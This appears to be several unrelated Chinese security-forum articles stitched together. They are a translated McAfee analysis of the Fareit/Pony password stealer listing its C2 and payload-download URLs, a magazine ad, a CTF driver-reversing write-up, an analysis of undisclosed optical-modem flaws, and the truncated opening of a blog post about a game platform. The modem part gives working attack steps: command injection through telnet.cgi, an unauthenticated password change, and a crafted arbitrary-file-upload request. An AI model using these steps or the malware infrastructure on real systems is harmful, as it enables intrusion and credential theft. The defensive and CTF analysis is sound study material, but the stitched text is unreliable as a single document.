**使用密码盗用工具来盗窃信任凭据**
几乎所有主要的APT都会在早期阶段使用到密码盗用工具。这种类型的恶意软件增加了在整体攻击生命周期中的经济收益。网络侧恶意软件的攻击活动主要依赖于由密码盗用工具所截获到的信任凭据。
新的密码窃取类恶意软件的变种增强了其从抓取银行信任凭据到比特币和游戏币的能力。Fareit，也被称为Pony，是目前用于窃取密码的顶级恶意软件家族成员之一。它可以从超过100种包括电子邮件、FTP、即时消息、
VPN、 web 浏览器和更多的应用程序中夺取信任凭据。
以下图表显示了McAfee Labs在过去三年期间里收到的专注Fareit事件的数量。
**Fareit 客户事件**
**起源**
Fareit在2011年被微软首次发现。Fareit 的稳健性和较强的功能，使之成为最受欢迎的密码窃取类恶意软件长达五年之久。
以下图表显示了从 2011年到2017 年，McAfee 和微软对Fareit的检测。
**新的Fareit检测**
以下的热度图显示了2017 年第一季度Fareit所控制的服务器的分布。
Fareit 控制服务器的热度图
Fareit 被跟踪到的最早版本是1.7，其中的大多数功能为如今的最新版本2.2所拥有。
Fareit（我们将把Fareit 和Pony作为此类恶意软件族的例子）
是有史以来最成功的密码窃取软件。这个成功案例已导致它在几乎所有主要的、旨在窃取敏感信息的网络攻击中被频繁使用到。
在本报表中，我们将讨论Fareit和其关联的其他恶意软件在不同平台的演化。我们还将讨论到去年秋天对民主党全国委员会
(DNC)的攻击，就可能使用到了这个“不老的”恶意软件。
**感染途径**
Fareit通过网络钓鱼/垃圾邮件、DNS投毒和漏洞套件等机制进行传播。
**垃圾邮件**
下图显示了垃圾邮件是如何传播Fareit的。受害者收到恶意的、以Word文档、JavaScript或归档文件作为附件的垃圾邮件。一旦用户打开附件，Fareit就感染到系统中。然后它下载额外的、基于其当前活动状态的恶意软件，并且将窃取到的信任凭据发送到其控制服务器上。
**DNS 投毒**
在此技术中，诸如Rbrut的恶意软件通过暴力攻击，获取路由器的管理员访问权限。然后它更改主DNS的设置，并将被感染的系统重定向到一个“流氓”DNS
服务器上。
“流氓”DNS服务器将用户重定向到提供Fareit的恶意网站。
**Bot和控制服务器的体系结构**
不同于大多数由特定的群体和集中控制服务器的僵尸网络，任何攻击者都可以从黑市网（dark
web）上购买到Pony。买家搭建个人的控制服务器，以开始攻击的过程；或是购买另一个攻击者的控制面板服务。购买来的控制面板能够提供被盗的信任凭据报表。
Pony项目分为三个部分：
Pony生成器 (PonyBuilder.exe): 一组用于创建编译客户端–"Pony Bot"的程序，编译包括其调用包，它使用的是masm32编译器。
Pony Bot： 客户端必须被下载到目标系统中，来收集并将密码发送给控制服务器。
一组服务器端的PHP脚本：包括一个管理面板和脚本门 (gate.php)，用户发送窃取的密码。
Pony生成器（Builder）： 此工具允许攻击者创建自己的Pony Bot。他们可以指定控制服务器的地址，让Bot发送窃取到的信任凭据和其他统计数据。
图 1： Pony生成器的源代码文件。
图 2： Pony生成器的用户界面。
Pony Bot： 这是网络犯罪分子用于传播恶意软件客户端的程序，可以从受害者处窃取密码。Pony Bot有几项功能：
窃取密码
下载和执行任意的恶意软件
执行 DDoS 攻击
盗取加密的货币钱包
盗取FTP的信任凭据
Pony Bot 大多是由汇编语言进行编码的，它可以释放成DLL或EXE格式。这为Fareit提供了服务于各种用途的变种，以及灵活性。
为收集密码，Pony Bot
使用了非标准的方法。在客户端启动时，它自动收集被盗密码和把必要的数据加密成特殊的容器文件，称为报告,并将它们传输到用于解密的服务器。每个报表可以包含几十个，甚至上百个密码，以及其他支持类的信息。
Pony Bot 客户端不包含任何解密算法，只用简单函数来读取文件和注册表里的数据。所有密码的解密是由 web
服务器来执行的。因为大多数加密算法占比很小，因此这并非是一个资源密集型的操作。解密服务器平均花费少于10ms的时间来处理包含一份密码的报表。
图 3： Pony Bot 客户端的不同模块。
图 4： 这些模块包含Pony Bot能够成功编译所需的必要代码。
许多攻击活动的作者都将Fareit纳入他们的攻击方法之中。例如，我们发现的Andromeda僵尸网络（也称为 Gamarue）
就将Fareit称为“神奇作者的杰作(Fareit Bot) ”
。特别是在有人请他为Andromeda创建窃取密码的程序时，Andromeda作者就会演示如何将Pony植入Andromeda的僵尸网络。
Pony的变体有着不同的目的。我们稍后将讨论Pony是如何被精心设计到DNC攻击中，以及如何仅通过封隔代码来窃取用户和FTP密码的。
**内部运作**
Fareit bot 在每个模块的开始处执行反卸载和反仿真技术。然后它初始化API地址，以执行各种不同的操作。Fareit
试图通过获取当前正在执行的、本地帐户的令牌，来模拟特权的进程。在稍后的阶段，该用户会被执行的暴力破解过程所忽略。下一步，Fareit解密已存储的单词列表，以通过使用暴力来破解受害者系统上的其他可用账户。一旦解密完成，它开始在当前用户的环境中使用ScanAndSend这一窃取例程，并将所有窃取到的信任凭据发送到控制服务器上。在那之后，它会运行bot的加载器组件，下载并执行更多的恶意软件，这会成为其“按照安装的进行支付”类型的攻击活动的一部分。
下一步，Fareit 终止其当前的模拟，进而冒充受害者系统上的其他用户。为实现这一目标，Fareit尝试着运用“username:
username”和“username: lowercase
username”的组合模拟该账户进行登录，最后用单词列表破译出该用户名的密码。一旦登录成功，Fareit
进程会模拟该登录的用户，再次在该额外的用户环境中执行 ScanAndSend。
图 5: 暴力攻击本地用户名的部分单词列表。
**盗窃行为**
Fareit会试图窃取保存在浏览器里的密码。它也会试图窃取存储的帐号信息，如服务器名称、端口号、登录ID和从下列FTP客户端以及云存储程序里的密码：
Fareit的执行流程
控制面板: Pony控制面板使攻击者能够查看和管理由 bot 发送来的信息。
图 6： 控制面板上有不同的选项卡，用以访问从Pony Bot收集到的统计数据中不同的信息。
各个选项卡能执行的功能如下：
首页：关于服务器上正在进行工作的基本信息。
FTP 列表：通过FTP/SFTP获得的下载或清除列表。
HTTP 密码：通过HTTP获得的下载或清除密码列表。
其他：接收到的、证书的下载或清除的列表。
统计数据：当前收集到的数据量。（清除FTP列表，以重置统计报表）。
域：为可访问的操作测试添加一个备用的域采集器。
日志：查看关键错误和通知的服务器。
报表：当前密码的列表。
管理：服务器设置和帐户管理。
帮助：显示由各种bot和控制面板提供的功能。
注销：从管理面板上退出。
图 7-9： 控制服务器上，其他操作系统和新被盗取的密码相关统计。
Pony控制面板有管理员和一般用户两种模式，并允许Pony botnet作为一种服务被交付。
管理员模式可以做任何事情： 删除或添加新用户，更改服务器设置 （包括报表的加密密码），更改特权或其他用户的密码，清除各个密码的列表。当然只可以有一个管理员。
其他用户，根据他们的特权，可以查看数据
(user_view_only)，或浏览并清除FTP/SFTP列表、报表和日志。用户还可以更改他们的密码。用户不能看到那些只为管理员可用的功能。
图 10-11：两个销售中的Pony控制面板的示例。
**Fareit报表内容**
一个加密的报表文件包含各种被窃取的信任凭证。另外每个报表还包含额外的信息:
操作系统：Windows版本。
IP地址：发送者的地址。
HWID：不可更改的用户唯一性标识符。使用此ID，你可以在一个特定的系统中找到所有的报表。
特权：启动Pony Bot进程的权限(用户或管理员)。
架构：Pony.exe 运行在x86和32 – 64位的CPU架构。
版本：Pony Bot的客户端版本。
图 12：来自被感染系统的、被盗取信息的报表文件所产生的攻击者视图。这些包括FTP信任凭据，浏览器、电子邮件和其他地方保存的密码。
**进化**
2011年末，微软发现和命名了新的密码盗用程序PWS：Win32/Fareit。我们认为当时的Fareit并不完整，可能还只是处于测试开发阶段。
Fareit，又名Pony的进化
图 13-14：在2011年被检测到的、Fareit恶意软件的屏幕截图，它显示了从被感染的终端上窃取来的信息。
在其被发现后的不久，其作者将Fareit V1.7 在许多地下论坛上发售。它被加载了许多强大的功能，并且导致了快速成长。
**规避检测**
随着 Fareit 的进化，恶意软件作者实施了许多的反汇编和反调试技术，用以防止对bot的简单分析。
除了Fareit作者实现的、基本的规避检测机制，个别所有者还能添加诸如ASProtect和自定义的packers，以防止反恶意软件签名的检测。
反汇编： 以下是一个反汇编技术的示例，它用到了混淆递归遍历的算法，并且试图遵循程序控制流，和在某一位置上的汇编指令。
在这个片段中，"jb"指令将控制转移到地址0x41062e。反汇编程序认定此位置上包含代码，并且试图编译它。攻击者有时会在此代码的位置放置不能编译的垃圾字节，以造成编译的失败。
代码中的实际控制转移，分别通过在0x00410625和0x0041062d处的"push"和"retn"指令来实现。
反仿真: Fareit
还采用反仿真来绕过许多反恶意软件的启发式检测机制。这种技术通过引入大型循环来消耗仿真的周期。先导的循环保持执行，直到计算机被启动所消耗的毫秒数除以10并非剩下5的时候。因为获得剩下值为5是一个小概率事件，因此该循环将继续拖延执行一段较长的时间。
Packers:
我们已经发现有使用unique stub generation (USG)的加密器来加密Pony
Bot的可执行文件，并进一步将其封装到AsProtect和自定义的Packers中。（自定义的Packers可以使用许多编译器来生成可执行的文件。常见的编译器包括Visual
Basic和.Net）。我们也发现Pony Bot用AutoIt脚本来编译可执行的文件.
图 15： 我们发现USG 加密器为新用户标价45美元，以及25美元每月的续费服务。
**DNC 攻击**
2016 年美国民主党全国委员会（DNC）的泄漏事件已认定是名为Grizzly Steppe恶意软件所为。
Grizzly
Steppe的目标常是政府组织、关键基础设施公司、智囊团、政治组织，以及世界各地的公司。它使用缩写网址、鱼叉式网络钓鱼、横向移动和提升特权的战术，来感染系统和网络。
根据已公布的报告，Grizzly Steppe的攻击分为两个阶段。2015年，它通过鱼叉式钓鱼攻击发送恶意链接，以重定向到恶意软件的下载。然后在 2016
年，它通过山寨的假域名，诱使人们更改密码。信任凭据和其他信息（包括电子邮件）就从受害者的系统中被窃取，并公布在了公共领域上。
在美国政府公布的Grizzly Steppe报表中，我们从攻击特征指示列表里发现了Fareit的散列。
Fareit很可能与DNC攻击的其他技术一起被使用，来窃取电子邮件、FTP和其他重要的信任凭据，以用于进一步的攻击。
我们怀疑，Fareit也被用来下载Onion
Duke和Vawtrak之类的APT威胁到受害者的系统上，以进行进一步的攻击。我们发现了被Fareit的加载组件所用于下载并执行的如下URLs：
hxxp://one2shoppee.com/system/logs/xtool.exe
hxxp://insta.reduct.ru/system/logs/xtool.exe
hxxp://editprod.waterfilter.in.ua/system/logs/xtool.exe
通过分析，我们发现Fareit恶意软件在被Word恶意文档访问到的时候，特别适用于DNC攻击。而这些文件经常是通过钓鱼类电子邮件在网上被广泛传播的。
下面是被发现的很可能被用于DNC攻击的Fareit
样本，其代码显示了信任凭据盗取类型的子程序或模块。在此示例中，信任凭据盗取模块的数量明显低于大多数的Fareit样本。攻击者可能已经得出结论：其中一些与这种攻击毫不相干。
图 16：可能被用于DNC攻击的Fareit 样本，它包含信任凭据盗取类模块的硬编码地址。
图17：自然的信任凭据盗取类模块。
图18：这段代码调用了图12里的所有信任凭据盗取类型的子程序。该代码虽不是DNC攻击里特有的Fareit样本，但它在其他Fareit样本中很常见。
**在 DNC 攻击中的网络活动**
让我们来看两段在DNC攻击中可能使用到的Fareit样本代码。每个控制服务器的地址被一个循环所调用，它会检查控制服务器响应中的"STATUS-IMPORT-OK"字符串。如果未收到此响应，该循环将去往下一个URL。
图 19：该子程序被发现来自可能被用于DNC攻击的Fareit 样本。它负责在当前的URL无响应时连接到不同控制服务器。
可能被用于DNC攻击的Fareit恶意软件会引用那些在自然情况下不常被观察到的多个控制服务器地址：
hxxp://wilcarobbe.com/zapoy/gate.php
hxxp://littjohnwilhap.ru/zapoy/gate.php
hxxp://ritsoperrol.ru/zapoy/gate.php
图 20： 该子程序被发现来自可能被用于DNC攻击的Fareit 样本。它被用于下载其他的恶意软件。
可能被用于DNC攻击的Fareit恶意软件从如下位置下载额外的恶意软件：
hxxp://one2shoppee.com/system/logs/xtool.exe
hxxp://insta.reduct.ru/system/logs/xtool.exe
hxxp://editprod.waterfilter.in.ua/system/logs/xtool.exe
**策略和流程**
你可以采取如下的步骤，以避免来自Fareit等方面的威胁。
创建复杂的密码，并定期更换。密码越长越多样化，它就越安全。密码可以包括数字、大写字母、小写字母和特殊字符。我们还建议每年更改密码两到三次，并在任何泄漏发生后立即修改。如果此举听起来太难跟进的话，请考虑使用密码管理工具。
不同的帐号或服务使用不同的密码。这将阻止在一个帐号被盗后，它对其他帐号和服务的访问。
采用多因素的身份验证。在帐号发生泄漏时，攻击者只有在下一个身份验证因素被核实后，才能访问该帐号。
不在公共电脑上进行任何需要密码的操作。 避免在咖啡厅、
图书馆或其他无线上网的公共场所使用系统，因为这些网络很容易受到击键记录类软件与其他类型恶意软件的攻击。
打开邮件附件时要格外小心。
这是一个大“坑”！不要打开任何“长相奇怪”的附件，也不要点击从可疑或未知发件人发来的链接。即使是来自朋友的附件或链接，也请确保在点开之前，那些电子邮件或社交网络不是从此人已被攻击的帐号所发出的。
在所有设备上安装全面安全防御。持续更新安全软件是最佳的安全实践。 这个简单的步骤会大幅减少被Fareit或其他恶意软件感染的机会。
传送门
[【安全报告】McAfee Labs 威胁报告 2017.06
（上）](http://bobao.360.cn/learning/detail/4090.html)
[**【安全报告】McAfee Labs 威胁报告 2017.06
（中）**](http://bobao.360.cn/learning/detail/4095.html) | 社区文章 |
# 《书安》第三期
|
##### 译文声明
本文是翻译文章，文章来源：ijiandao
原文地址：<http://down.jdsec.com/secbook-3/%E4%B9%A6%E5%AE%89-%E7%AC%AC%E4%B8%89%E6%9C%9F.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
**《书安》第三期在小伙伴的努力下又发布啦!第三期《书安》从 **joomla** 注入到vbulletin注入,从SDK-wormhole漏洞到Redis未授权访问导致服务器被黑等一些列漏洞,进行漏洞分析,漏洞利用,可用POC,实际案例等全方位概括,有攻有防,欢迎大家下载阅览**
[**下载地址:**](http://down.jdsec.com/secbook-3/%E4%B9%A6%E5%AE%89-%E7%AC%AC%E4%B8%89%E6%9C%9F.pdf)
**360网盘：** **<http://yunpan.cn/cLMrWeiHLGdZN> 访问密码 73c1**
**目 录
**
**第一章 SDK 漏洞**
**第 1 节 SDK 漏洞-WormHole 虫洞漏洞分析报告**
**第 2 节 SDK 漏洞 – WormHole 虫洞漏洞分析第二弹**
**第 3 节 iBackDoor(爱后门)和 DroidBackDoor(安后门)**
**第 4 节 有米 iOS 恶意 SDK 分析**
**第二章 渗透测试**
**第 1 节 渗透测试之目标域名信息收集**
**第 2 节 域渗透癿金之钥匙**
**第 3 节 记一次曲折的渗透测试**
**第 4 节 Joomla 从注入漏洞利用到 Getshell**
**第三章 POC**
**第 1 节 SDK 漏洞 – WormHole 虫洞自劢检测 POC**
**第 2 节 2wire Router <= 5.29.52 – Remote DoS POC**
**第 3 节 PHPCMS V9 代码执行漏洞 POC**
**第四章 漏洞月报**
**第 1 节 Joomla CMS 3.2-3.4.4 SQL 注入 漏洞凾析**
**第 2 节 Unserialize()实战之 vBulletin 5.x.x 迖程代码执行**
**第 3 节 Redis 未授权讵问可导致系统被黑漏洞凾析**
**** | 社区文章 |
bytectf 2019 re 驱动逆向 DancingKeys WP
# 比赛地址
[https://adworld.xctf.org.cn/match/contest_challenge?event=101&hash=b1c22799-e6cf-4892-937d-c189605f5b5f.event](https://adworld.xctf.org.cn/match/contest_challenge?event=101&hash=b1c22799-e6cf-4892-937d-c189605f5b5f.event)
# 简介
本题是一个windows键盘过滤驱动程序的逆向，可以参考<https://blog.csdn.net/m0_37552052/article/details/83037567>
# 程序流程分析
在driver_entry驱动入口函数中
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
struct _DRIVER_OBJECT *v2; // rdi
v2 = DriverObject;
_security_init_cookie();
return sub_140002C90(v2); // 入口
}
跟进：
__int64 __fastcall sub_140002C90(PDRIVER_OBJECT a1)
{
__int64 v1; // rdx
__int64 v2; // r8
__int64 v3; // r9
unsigned int i; // [rsp+20h] [rbp-18h]
PDRIVER_OBJECT v6; // [rsp+40h] [rbp+8h]
v6 = a1;
sub_1400032C0(); // windows版本号判断
sub_140003170(); // CPU硬件信息判断
sub_140002830(); // 创建反调试线程，检测到内核调试就尝试关闭调试
sub_1400033E0(v6); // 创建设备对象并绑定键盘设备\\Driver\\Kbdclass
sub_1400028A0(v6, v1, v2, v3); // 创建设备对象\\??\\DancingKeys，并创建符号链接\\Device\\DancingKeys
for ( i = 0; i < 0x1B; ++i )
v6->MajorFunction[i] = (PDRIVER_DISPATCH)sub_1400029D0; //填充MajorFunction，没啥用
v6->MajorFunction[IRP_MJ_READ] = (PDRIVER_DISPATCH)sub_140002C40;// 键盘输入处理例程
v6->MajorFunction[IRP_MJ_PNP] = (PDRIVER_DISPATCH)sub_140002BA0;// pnp
v6->MajorFunction[IRP_MJ_POWER] = (PDRIVER_DISPATCH)sub_140002BF0;// 电源
v6->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)sub_140002A20;// IO控制请求处理例程
v6->DriverUnload = (PDRIVER_UNLOAD)sub_140002B50;// 卸载例程
return 0i64;
}
比较关键的地方在于键盘输入处理例程和IO控制请求处理例程：
## 键盘输入处理例程
由于前面绑定了键盘设备，所以所有的键盘IRP请求，会走本驱动过一遍。本驱动的MajorFunction[IRP_MJ_READ]拦截键盘输入操作
跟进该处理例程至关键代码：
__int64 __fastcall sub_1400037A0(_DEVICE_OBJECT *a1, _IRP *a2)
{
__int64 v2; // r9
__int64 v4; // [rsp+20h] [rbp-38h]
__int64 v5; // [rsp+28h] [rbp-30h]
unsigned int i; // [rsp+30h] [rbp-28h]
PKEYBOARD_INPUT_DATA v7; // [rsp+38h] [rbp-20h]
ULONG_PTR v8; // [rsp+40h] [rbp-18h]
_IRP *v9; // [rsp+68h] [rbp+10h]
v9 = a2;
if ( a2->IoStatus.Status >= 0 )
{
v7 = (PKEYBOARD_INPUT_DATA)a2->AssociatedIrp.SystemBuffer;
v8 = a2->IoStatus.Information / 0xC;
for ( i = 0; i < v8; ++i )
{
if ( !v7[i].Flags ) // 键盘状态，flag==0代表按下
{
input[input_count] = (last_input + 42) ^ v7[i].MakeCode;// MakeCode为键盘扫描码，这里将扫描码加密存储下来
last_input = input[input_count];
LODWORD(v4) = input[input_count];
DbgPrintEx(77i64, 563i64, "Magic code %d: %02x\n", (unsigned int)input_count, v4, v5);
if ( ++input_count == 16 )
{
DbgPrintEx(77i64, 563i64, "Magic code buffer is now full\n", v2, v4, v5);
input_count = 0;
last_input = 0;
}
}
}
}
--dword_140006080;
if ( v9->PendingReturned )
sub_140003A20(v9);
return (unsigned int)v9->IoStatus.Status;
}
题目给了一段神秘代码，刚好是16字节，猜测就是这里的数据，将数据按如上算法解密发现恰好是输入的键盘码,解密代码：
data = [0x25,0x40,0x5a,0x86,0xb5,0xf1,0x3e,0x58,0x80,0x9b,0xdb,0x0b,0x30,0x49,0x66,0x8c]
res = []
temp = 0
for i in data:
res.append(((temp+42)%256)^i)
temp = i
print res
解密结果为按下了：tab tab b 1 4 c k b 1 n a backspace 4 r y enter，基本确定就是这样了。
## IO控制请求处理例程
当输入完成后，应用层通过DeviceIoControl使用控制码0x222404与驱动通讯，驱动根据虚拟的操作系统版本和cpu信息数据与上面的键盘码进行一系列运算，最终向用户层返回数据从而输出flag。
__int64 __fastcall sub_140002A20(_DEVICE_OBJECT *a1, _IRP *a2)
{
__int64 v2; // r9
__int64 v4; // [rsp+20h] [rbp-28h]
_IO_STACK_LOCATION *v5; // [rsp+28h] [rbp-20h]
_IRP *v6; // [rsp+30h] [rbp-18h]
_DEVICE_OBJECT *v7; // [rsp+50h] [rbp+8h]
_IRP *Irp; // [rsp+58h] [rbp+10h]
Irp = a2;
v7 = a1;
sub_1400027A0(); // 反调试nop即可
v5 = sub_140002D80(Irp);
HIDWORD(v4) = v5->Parameters.Read.ByteOffset.LowPart;
if ( HIDWORD(v4) == 0x222404 )
{
if ( v7 == DeviceObject )
{
v6 = (_IRP *)Irp->AssociatedIrp.SystemBuffer;
LODWORD(v4) = v5->Parameters.Read.Length;
if ( v6 && (unsigned int)v4 >= 0x64 )
{
sub_1400030B0(); // 对操作系统信息和cpu信息每四字节进行md5，并取md5的前8字节，生成0x20字节的数据
sub_140002DD0(v6); // 这里的运算比较复杂，不知道在干嘛。。
Irp->IoStatus.Information = (unsigned int)v4;
Irp->IoStatus.Status = 0;
IofCompleteRequest(Irp, 0);
return 0i64;
}
DbgPrintEx(77i64, 563i64, "Invalid Output Buffer\n", v2, v4, v5);
}
else
{
DbgPrintEx(77i64, 563i64, "Wrong device!\n", v2, v4, v5);
}
}
else
{
DbgPrintEx(77i64, 563i64, "Wrong device control code!\n", v2, v4, v5);
}
Irp->IoStatus.Information = 0i64;
Irp->IoStatus.Status = 0;
IofCompleteRequest(Irp, 0);
return 0i64;
}
# 开始getflag
到这里有两种思路：
1.把上面的加密代码抄下来，然后提取出需要的数据，然后计算出flag
2.动态调试，输入上面解密到的16个按键，编写应用程序通过DeviceIoControl使用控制码0x222404与驱动通讯获取flag
这里我选择了第二种（主要是那部分复杂的加密没看明白）
具体的流程是这样的：
1.配置windbg+win7虚拟机（这个是64位驱动）+ida双机调试环境
2.在入口处设置断点，使用驱动加载工具，ida中成功断下。
3.在windows版本号判断时，修改windows信息为0xDEADBEEF
4.CPU硬件信息判断时，替换获取到信息为FakeIntel（记得本来后面多出来的部分要用\x00填充掉）
5.nop掉反调试线程
6.编写应用程序通过DeviceIoControl使用控制码0x222404与驱动通讯获取flag
#include <windows.h>
#include <stdio.h>
void getflag()
{
DWORD z = 0;
char buffer[0x64] = {0};
HANDLE LINK;
//“打开”驱动的符号链接
LINK = CreateFileW(L"\\\\.\\DancingKeys",0,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
DeviceIoControl(LINK, 0x222404,buffer,0x64,buffer,0x64,&z,(LPOVERLAPPED)NULL);
printf("%s\n", buffer);
//关闭符号链接句柄
CloseHandle(LINK);
}
int main(int argc, char *argv[])
{
getflag();
Sleep(100000);
return 0;
}
这里在驱动的IoControl处理例程中还有一处调试检测，记得要过掉（下断点，修改标志位绕过即可）
PS：如果不想这么麻烦，有些地方可以静态patch掉（patch驱动程序需要修复pe文件头的校验和，并使用签名工具进行签名）
应用层程序的输出即为flag | 社区文章 |
## 前言
由于漏洞并未公布在互联网上，所以具体是哪个厂家的光猫就不说明了，文中是可以找到的，并未打码，感兴趣的朋友可以自己找找看。
拿到光猫固件，大概看了下，用的是CGI+SH的编程方式，并且源代码都没有做权限的验证，相关代码也没有加密，所以分析也就简单了许多。
下面我们来看下漏洞详情
### 远程命令执行
漏洞在文件telnet.cgi文件中，首先文件判断是否为POST发包，如果是就进行处理
if [ "$REQUEST_METHOD" == "POST" ];then
settelnet
else
gettelnet
fi
我们跟进settelnet这个函数，进入函数后，看到函数调用了getpostdata.cgi这个文件对post包进行接收并赋值给QUERY_STRING变量，最终经过处理赋值给变量CGIParam.
settelnet()
{
QUERY_STRING=`./getpostdata.cgi $CONTENT_LENGTH`
[ "x$QUERY_STRING" == "x" ] && READERR=1
[ "x$QUERY_STRING" != "x" ] && QUERY_STRING=`./urldecode.cgi $QUERY_STRING`
paramIndex="1"
CGIParam=`echo "$QUERY_STRING&" | cut -d '&' -f $paramIndex`
我们看看变量CGIParam被怎么处理，这里用了一个while判断变量$CGIParam是否有值，随后带入处理，可以看到这里把InputCmd的值给取出来，也就是执行的系统命令赋值给了INPUTCMD，我们往下看
while [ "$CGIParam" != "" ]
do
par=`echo "$CGIParam" | cut -d '=' -f 1`
val=`echo "$CGIParam" | cut -d '=' -f 2`
if [ "$val" != "" ]; then
case $par
in
"InputCmd")
INPUTCMD=$val
INPUTCMD=`echo "$INPUTCMD" | sed 's/%23/ /g'`
;;
esac
fi
paramIndex=$((paramIndex+1))
CGIParam=`echo "$QUERY_STRING&" | cut -d '&' -f $paramIndex`
is_submit="1"
done
这里把INPUTCMD的值写入到telnet_input.sh文件里面，随后对telnet_input.sh文件进行执行，执行结果输出到telnet_output.log文件中
if [ "$is_submit" == "1" ]; then
rm /var/WEB-GUI/telnet_* >/dev/null 2>&1
echo "${INPUTCMD}" >/var/WEB-GUI/telnet_input.log
echo "${INPUTCMD}" >/var/WEB-GUI/telnet_input.sh
chmod +x /var/WEB-GUI/telnet_input.sh
cd /var/WEB-GUI/
./telnet_input.sh >/var/WEB-GUI/telnet_output.log 2>&1
fi
由于执行后是没有回显的，所以在本地搭建个监听端来监听连接
后来在submit.cgi文件里发现，请求这个文件就能读取执行后的结果，所以要看到回显需要执行提交两次
#!/bin/sh
echo Content-type: text/html
echo
echo "<html><head></head><body>"
echo "</body></html>"
echo "
<textarea rows='50' cols='160' name='text'>"
while read line; do
echo "${line}"
done < /var/WEB-GUI/telnet_input.log
while read line; do
echo "${line}"
done < /var/WEB-GUI/telnet_input.sh
while read line; do
echo "${line}"
done < /var/WEB-GUI/telnet_output.log
### 修改用户密码
漏洞在文件password_CM.cgi文件中，首先文件判断是否为POST发包，如果是就进行处理
if [ "$REQUEST_METHOD" == "POST" ];then
setpassword
fi
getpassword
我们跟进setpassword函数,函数调用getpostdata.cgi文件对post进行接收，包赋值给LINE变量，处理后赋值给CGIParam变量
setpassword()
{
LINE=`./getpostdata.cgi $CONTENT_LENGTH`
[ "x$LINE" == "x" ] && READERR=1
[ "x$LINE" != "x" ] && LINE=`./urldecode.cgi $LINE`
paramIndex="1"
CGIParam=`echo "$LINE&" | cut -d '&' -f $paramIndex`
这里还是是一个while来判断，一样是取出值然后进行处理，不过这里只能改密码，帐号是不能改的，代码被注释掉了。最后进行密码设置
while [ "$CGIParam" != "" ]
do
par=`echo "$CGIParam" | cut -d '=' -f 1`
val=`echo "$CGIParam" | cut -d '=' -f 2`
if [ "$val" != "" ]; then
case $par
in
# "password_username")
# USERNAME=$val
# ;;
"password_pass")
PASSWORD=$val
PASSWORD=`echo "$PASSWORD" | sed 's/123fiberhome321/\&/g'`
PASSWORD=`echo "$PASSWORD" | sed 's/321telecomadmin123/\!/g'`
;;
esac
fi
paramIndex=$((paramIndex+1))
CGIParam=`echo "$LINE&" | cut -d '&' -f $paramIndex`
done
RETURN_STR=`$INTER_WEB set $CMIGD_DI_XFIBCOMUA_Password "$PASSWORD"`
}
执行完后获取帐号密码，当然了，直接访问此页面也是可以获取帐号密码的
getpassword()
{
USERNAME=`$INTER_WEB get $CMIGD_DI_XFIBCOMUA_UserName | cut -d '&' -f 1`
PASSWORD=`$INTER_WEB get $CMIGD_DI_XFIBCOMUA_Password | sed 's/&$//'`
echo "
{\"RETURN\":
{\"success\": true},
\"PASSWORD\":
{\"password_username\":\"$USERNAME\",
\"password_DLUSERNAME\":\"$DLUSERNAME\",
\"password_area\":\"$area\",
\"password_pass\":\"$PASSWORD\"}
}"
}
执行结果
### 任意文件上传
漏洞文件在loadfile.cgi文件中，我们看到上传文件的地方
<form method=\"post\" action=\"../cgi-bin/uploadfile.htm.cgi\" enctype=\"multipart/form-data\" onsubmit=\"return JudgeKeywordImage(this);\">
<label class='trad' key='paneltip_choose'></label>
<input size=50 name=\"uploadfile\" type=\"file\" ${UPLOAD}/>
<br><br>
<label class='trad' key='paneltip_path'></label>
<span><input type='input' name=\"uploadpath\" value=\"/var/\" style=\"width:300px\"></span>
<br><br>
<input name=\"submit\" type=\"submit\" value=\"上传\" style=\"height:23px\" ${UPLOAD}/>
</form>
</blockquote>
</body>
</html>"
这里的数据包发送到uploadfile.htm.cgi文件，我们跟进，这里执行了uploadcgi.cgi这个cgi文件，这个文件是用来处理上传文件数据包的，这个文件是编译好了的ELF文件，我们逆向看看。
./uploadcgi.cgi
UPPATH=$GETCFG ${BROANCONF} upload
if [ -f /var/Image ]; then
mv /var/Image $UPPATH >/dev/null 2>&1
fi
if [ -f $UPPATH ]; then
success=1
else
success=0
fi
找到入口点，这里首先判断了是否是POST过来的数据包，如果不是就进入函数loc_400A34 中,
返回没有找到方法，继而退出，上传失败。如果是就进入数据包的处理loc_400A74这个函数里面
loc_400A74函数主要对CONTENT_TYPE进行判断，比较CONTENT_TYPE是否是multipart/form-data类型，随后就是各个函数又进行了一系列的判断，文件主要判断了[Content-Type， REQUEST_METHOD ,CONTENT_LENGTH
,UPLOADPATH]
分析过程中发现程序并没有对文件类型做任何的限制，uploadcgi.cgi只是判断是否为POST包而已，判断了一些header类型，所以我们可以把任何文件上传到任何目录，结合正常发包的数据包进行构造数据包，构造的数据包如下
POST /cgi-bin/uploadfile.htm.cgi HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://10.214.99.131/index_main_CM
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Host: 10.214.99.131
Pragma: no-cache
Connection: close
Content-Disposition: form-data; name="uploadfile"; filename="test.html"
Content-Type: text/html
HGU TEST
Content-Disposition: form-data; name="uploadpath"
/var/WEB-GUI/
Content-Disposition: form-data; name="submit"
submit
上传结果 | 社区文章 |
# 再说VS竞技游戏平台的那些事
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
你或许还记得我们今年9月份时发的这篇博客:《[VS竞技游戏平台刷流量木马说明](http://blogs.360.cn/360safe/2015/09/24/about_flow_trojan_in_vs_game_platform/)》,惊闻VS竞技游戏平台的母公司“广州唯思软件股份有限公司”最近挂牌上市了。
[](http://blogs.360.cn/360safe/files/2015/12/01%E4%B8%8A%E5%B8%82.png)
照理说公司挂牌上市了,意味着要面对更大的市场,要对更多的投资者负责,做事也该更谨慎些。于是我就想看看,之前的刷流量问题是否已经有所收敛了。于是我又从官网下载了一个最新的客户端回来做了个测试:
[](http://blogs.360.cn/360safe/files/2015/12/02%E5%AE%89%E8%A3%85%E5%8C%85.png)****
**00000000b 再试VS平台**
